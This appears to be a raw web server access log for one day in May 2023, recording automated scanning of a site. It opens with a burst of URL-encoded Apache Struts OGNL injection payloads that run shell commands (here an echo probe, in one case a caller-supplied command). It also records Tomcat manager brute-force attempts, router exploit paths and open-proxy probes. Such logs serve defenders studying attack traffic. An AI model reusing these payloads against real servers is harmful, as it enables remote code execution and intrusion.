222.186.180.34 - - [26/May/2023:06:10:17 +0530] "GET /docs/ssi-howto.html%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2058
222.186.180.34 - - [26/May/2023:06:10:18 +0530] "GET /docs/ssi-howto.html?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 17423
222.186.180.34 - - [26/May/2023:06:10:19 +0530] "GET /docs/ssi-howto.html/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1762
222.186.180.34 - - [26/May/2023:06:10:20 +0530] "GET /docs/ssi-howto.html?redirect%3A%24%7B1044201%2B1426110%7D HTTP/1.0" 200 17423
222.186.180.34 - - [26/May/2023:06:10:22 +0530] "GET /docs/ssi-howto.html?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 200 17423
222.186.180.34 - - [26/May/2023:06:10:23 +0530] "POST /docs/ssi-howto.html HTTP/1.0" 200 17423
222.186.180.34 - - [26/May/2023:06:10:24 +0530] "GET /docs/ssi-howto.html?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 17423
222.186.180.34 - - [26/May/2023:06:10:26 +0530] "GET /docs/ssi-howto.html/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1446
222.186.180.34 - - [26/May/2023:06:10:27 +0530] "GET /docs/ssi-howto.html/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1682
222.186.180.34 - - [26/May/2023:06:10:28 +0530] "POST /docs/ssi-howto.html HTTP/1.0" 200 17423
222.186.180.34 - - [26/May/2023:06:10:29 +0530] "POST /docs/ssi-howto.html HTTP/1.0" 200 17423
222.186.180.34 - - [26/May/2023:06:10:30 +0530] "POST /docs/ssi-howto.html HTTP/1.0" 200 17423
222.186.180.34 - - [26/May/2023:06:10:31 +0530] "POST /docs/ssi-howto.html HTTP/1.0" 200 17423
222.186.180.34 - - [26/May/2023:06:10:33 +0530] "GET /docs/ssi-howto.html?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 17423
222.186.180.34 - - [26/May/2023:06:10:34 +0530] "GET /docs/ssi-howto.html/%24%7B5687907%2B6448337%7D/index.action HTTP/1.0" 404 1112
222.186.180.34 - - [26/May/2023:06:10:35 +0530] "GET /docs/ssi-howto.html HTTP/1.0" 200 17423
45.61.185.123 - - [26/May/2023:06:14:34 +0530] "CONNECT www.baidu.com:443 HTTP/1.1" 400 -
46.174.191.28 - - [26/May/2023:07:08:07 +0530] "GET / HTTP/1.0" 200 11230
198.235.24.47 - - [26/May/2023:07:21:45 +0530] "GET / HTTP/1.0" 200 11230
168.232.15.246 - - [26/May/2023:07:35:07 +0530] "GET / HTTP/1.1" 200 11250
179.43.177.244 - - [26/May/2023:07:36:20 +0530] "-" 400 -
198.144.159.126 - - [26/May/2023:07:37:00 +0530] "CONNECT cn.bing.com:443 HTTP/1.1" 400 -
184.105.139.75 - - [26/May/2023:07:43:38 +0530] "-" 400 -
179.43.177.244 - - [26/May/2023:08:00:52 +0530] "-" 400 -
198.98.57.217 - - [26/May/2023:08:01:28 +0530] "CONNECT www.baidu.com:443 HTTP/1.1" 400 -
209.141.41.129 - - [26/May/2023:08:12:10 +0530] "CONNECT www.baidu.com:443 HTTP/1.1" 400 -
205.185.115.70 - - [26/May/2023:08:57:22 +0530] "CONNECT www.baidu.com:443 HTTP/1.1" 400 -
198.144.159.126 - - [26/May/2023:09:07:46 +0530] "CONNECT cn.bing.com:443 HTTP/1.1" 400 -
59.89.162.60 - - [26/May/2023:09:15:20 +0530] "GET / HTTP/1.1" 200 11250
206.189.28.38 - - [26/May/2023:09:34:31 +0530] "-" 400 -
185.189.182.234 - - [26/May/2023:09:34:47 +0530] "GET / HTTP/1.1" 400 -
206.189.28.38 - - [26/May/2023:09:36:20 +0530] "-" 400 -
141.98.10.185 - - [26/May/2023:09:37:36 +0530] "GET /manager/html HTTP/1.1" 401 2473
159.65.120.34 - - [26/May/2023:10:06:52 +0530] "GET / HTTP/1.1" 200 11250
74.82.47.34 - - [26/May/2023:10:17:09 +0530] "-" 400 -
198.235.24.111 - - [26/May/2023:10:18:14 +0530] "GET / HTTP/1.1" 200 11250
185.189.182.234 - - [26/May/2023:10:22:53 +0530] "GET / HTTP/1.1" 400 -
198.98.53.107 - - [26/May/2023:10:58:10 +0530] "CONNECT www.baidu.com:443 HTTP/1.1" 400 -
71.6.134.233 - - [26/May/2023:10:58:35 +0530] "GET / HTTP/1.1" 200 11250
71.6.134.233 - - [26/May/2023:11:00:04 +0530] "-" 400 -
184.105.139.84 - - [26/May/2023:11:09:21 +0530] "GET / HTTP/1.1" 200 11250
65.49.20.89 - - [26/May/2023:11:09:32 +0530] "GET / HTTP/1.1" 200 11250
184.105.139.116 - - [26/May/2023:11:10:06 +0530] "GET /favicon.ico HTTP/1.1" 200 21630
65.49.20.97 - - [26/May/2023:11:10:10 +0530] "GET /favicon.ico HTTP/1.1" 200 21630
184.105.139.88 - - [26/May/2023:11:10:29 +0530] "GET /?format=json HTTP/1.1" 200 11250
65.49.20.89 - - [26/May/2023:11:10:37 +0530] "GET /?format=json HTTP/1.1" 200 11250
184.105.139.72 - - [26/May/2023:11:10:53 +0530] "CONNECT www.shadowserver.org:443 HTTP/1.1" 400 -
65.49.20.121 - - [26/May/2023:11:11:02 +0530] "CONNECT www.shadowserver.org:443 HTTP/1.1" 400 -
205.210.31.246 - - [26/May/2023:11:12:41 +0530] "GET / HTTP/1.0" 200 11230
167.248.133.125 - - [26/May/2023:11:38:51 +0530] "GET / HTTP/1.1" 200 11250
167.248.133.125 - - [26/May/2023:11:38:51 +0530] "PRI * HTTP/2.0" 505 -
167.248.133.125 - - [26/May/2023:11:38:52 +0530] "GET /favicon.ico HTTP/1.1" 200 21630
167.248.133.125 - - [26/May/2023:11:38:52 +0530] "GET /favicon.ico HTTP/1.1" 200 21630
46.174.191.32 - - [26/May/2023:12:09:18 +0530] "GET / HTTP/1.0" 200 11230
45.135.232.17 - - [26/May/2023:12:14:16 +0530] "-" 400 -
198.199.104.82 - - [26/May/2023:12:16:54 +0530] "-" 400 -
198.199.104.82 - - [26/May/2023:12:18:27 +0530] "-" 400 -
138.197.24.249 - - [26/May/2023:12:20:36 +0530] "GET /aaa9 HTTP/1.1" 404 1002
138.197.24.249 - - [26/May/2023:12:20:45 +0530] "GET /aab8 HTTP/1.1" 404 1002
138.197.24.249 - - [26/May/2023:12:20:58 +0530] "GET / HTTP/1.1" 200 11250
209.141.41.129 - - [26/May/2023:13:01:15 +0530] "CONNECT www.baidu.com:443 HTTP/1.1" 400 -
213.6.64.110 - - [26/May/2023:13:13:31 +0530] "GET / HTTP/1.1" 200 11250
141.98.10.185 - - [26/May/2023:13:32:15 +0530] "GET /is_test HTTP/1.1" 404 1008
198.199.94.11 - - [26/May/2023:13:44:11 +0530] "-" 400 -
198.199.94.11 - - [26/May/2023:13:45:06 +0530] "-" 400 -
45.135.232.17 - - [26/May/2023:13:53:49 +0530] "-" 400 -
141.98.10.185 - - [26/May/2023:14:01:26 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:26 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:26 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:26 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:27 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:27 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:27 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:28 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:28 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:28 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:28 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:29 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:29 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:29 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:30 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:30 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:30 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:30 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:31 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:31 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:31 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:32 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:32 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:32 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:32 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:33 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:33 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:33 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:34 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:34 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:34 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:34 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:35 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:35 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:35 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:36 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:36 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:36 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:36 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:37 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:37 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:37 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:38 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:38 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:38 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:38 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:39 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:39 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:39 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:39 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:40 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:40 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:40 +0530] "GET /manager/html HTTP/1.1" 401 2473
141.98.10.185 - - [26/May/2023:14:01:41 +0530] "GET /manager/html HTTP/1.1" 401 2473
138.197.152.201 - - [26/May/2023:14:02:08 +0530] "GET /aaa9 HTTP/1.1" 404 1002
138.197.152.201 - - [26/May/2023:14:02:14 +0530] "GET /aab8 HTTP/1.1" 404 1002
138.197.152.201 - - [26/May/2023:14:02:21 +0530] "GET / HTTP/1.1" 200 11250
45.227.254.8 - - [26/May/2023:14:03:44 +0530] "-" 400 -
198.235.24.114 - - [26/May/2023:15:08:36 +0530] "GET / HTTP/1.1" 200 11250
205.185.115.70 - - [26/May/2023:15:16:52 +0530] "CONNECT www.baidu.com:443 HTTP/1.1" 400 -
78.108.177.51 - - [26/May/2023:15:33:02 +0530] "GET / HTTP/1.0" 200 11230
109.207.200.42 - - [26/May/2023:15:45:53 +0530] "CONNECT blank.org:443 HTTP/1.1" 400 -
109.207.200.42 - - [26/May/2023:15:46:57 +0530] "CONNECT blank.org:443 HTTP/1.1" 400 -
198.98.57.217 - - [26/May/2023:16:58:39 +0530] "CONNECT www.baidu.com:443 HTTP/1.1" 400 -
209.141.41.129 - - [26/May/2023:17:48:48 +0530] "CONNECT www.baidu.com:443 HTTP/1.1" 400 -
199.195.248.153 - - [26/May/2023:17:49:36 +0530] "CONNECT google.com:443 HTTP/1.1" 400 -
62.152.51.110 - - [26/May/2023:17:51:30 +0530] "GET / HTTP/1.1" 200 11250
198.98.53.107 - - [26/May/2023:18:01:37 +0530] "CONNECT www.baidu.com:443 HTTP/1.1" 400 -
198.235.24.18 - - [26/May/2023:18:02:16 +0530] "GET / HTTP/1.1" 200 11250
175.107.0.216 - - [26/May/2023:18:40:08 +0530] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 1030
175.107.0.216 - - [26/May/2023:18:40:08 +0530] "-" 400 -
87.236.176.207 - - [26/May/2023:18:54:56 +0530] "GET / HTTP/1.1" 200 11250
87.236.176.43 - - [26/May/2023:18:54:59 +0530] "GET /favicon.ico HTTP/1.1" 200 21630
59.89.238.161 - - [26/May/2023:19:38:21 +0530] "GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0" 404 1040
141.98.10.185 - - [26/May/2023:19:59:31 +0530] "GET /manager/html HTTP/1.1" 401 2473
83.97.73.89 - - [26/May/2023:20:09:08 +0530] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 11250
83.97.73.89 - - [26/May/2023:20:11:25 +0530] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 11250
83.97.73.89 - - [26/May/2023:20:50:52 +0530] "GET /actuator/gateway/routes HTTP/1.1" 404 1040
83.97.73.89 - - [26/May/2023:20:51:54 +0530] "GET /actuator/gateway/routes HTTP/1.1" 404 1040
205.185.115.70 - - [26/May/2023:20:53:48 +0530] "CONNECT www.baidu.com:443 HTTP/1.1" 400 -
221.153.243.138 - - [26/May/2023:21:07:07 +0530] "POST /tmUnblock.cgi HTTP/1.1" 404 1020
198.144.159.126 - - [26/May/2023:21:36:21 +0530] "CONNECT cn.bing.com:443 HTTP/1.1" 400 -
198.144.159.126 - - [26/May/2023:21:57:16 +0530] "CONNECT cn.bing.com:443 HTTP/1.1" 400 -
192.241.203.14 - - [26/May/2023:22:07:13 +0530] "GET / HTTP/1.1" 200 11250
107.170.234.31 - - [26/May/2023:22:07:37 +0530] "GET / HTTP/1.1" 200 11250
192.241.203.14 - - [26/May/2023:22:07:44 +0530] "GET / HTTP/1.1" 200 11250
107.170.234.31 - - [26/May/2023:22:08:21 +0530] "GET / HTTP/1.1" 200 11250
205.210.31.102 - - [26/May/2023:22:20:26 +0530] "GET / HTTP/1.1" 200 11250
62.122.96.35 - - [26/May/2023:22:22:05 +0530] "GET / HTTP/1.1" 200 11250
162.142.125.11 - - [26/May/2023:22:28:27 +0530] "GET / HTTP/1.1" 200 11250
162.142.125.11 - - [26/May/2023:22:28:28 +0530] "PRI * HTTP/2.0" 505 -
162.142.125.11 - - [26/May/2023:22:28:28 +0530] "GET /favicon.ico HTTP/1.1" 200 21630
162.142.125.11 - - [26/May/2023:22:28:29 +0530] "GET /favicon.ico HTTP/1.1" 200 21630
46.174.191.32 - - [26/May/2023:22:36:03 +0530] "GET / HTTP/1.0" 200 11230
209.141.41.129 - - [26/May/2023:22:42:34 +0530] "CONNECT www.baidu.com:443 HTTP/1.1" 400 -
205.210.31.211 - - [26/May/2023:23:00:30 +0530] "GET / HTTP/1.1" 200 11250
45.227.254.55 - - [26/May/2023:23:07:57 +0530] "-" 400 -
162.142.125.11 - - [26/May/2023:23:31:13 +0530] "GET / HTTP/1.1" 200 11250
162.142.125.11 - - [26/May/2023:23:31:13 +0530] "GET / HTTP/1.1" 200 11250
162.142.125.11 - - [26/May/2023:23:31:14 +0530] "PRI * HTTP/2.0" 505 -
162.142.125.11 - - [26/May/2023:23:31:14 +0530] "GET /favicon.ico HTTP/1.1" 200 21630
179.43.177.244 - - [26/May/2023:23:33:10 +0530] "-" 400 -
141.98.11.41 - - [26/May/2023:23:56:51 +0530] "GET / HTTP/1.1" 200 11250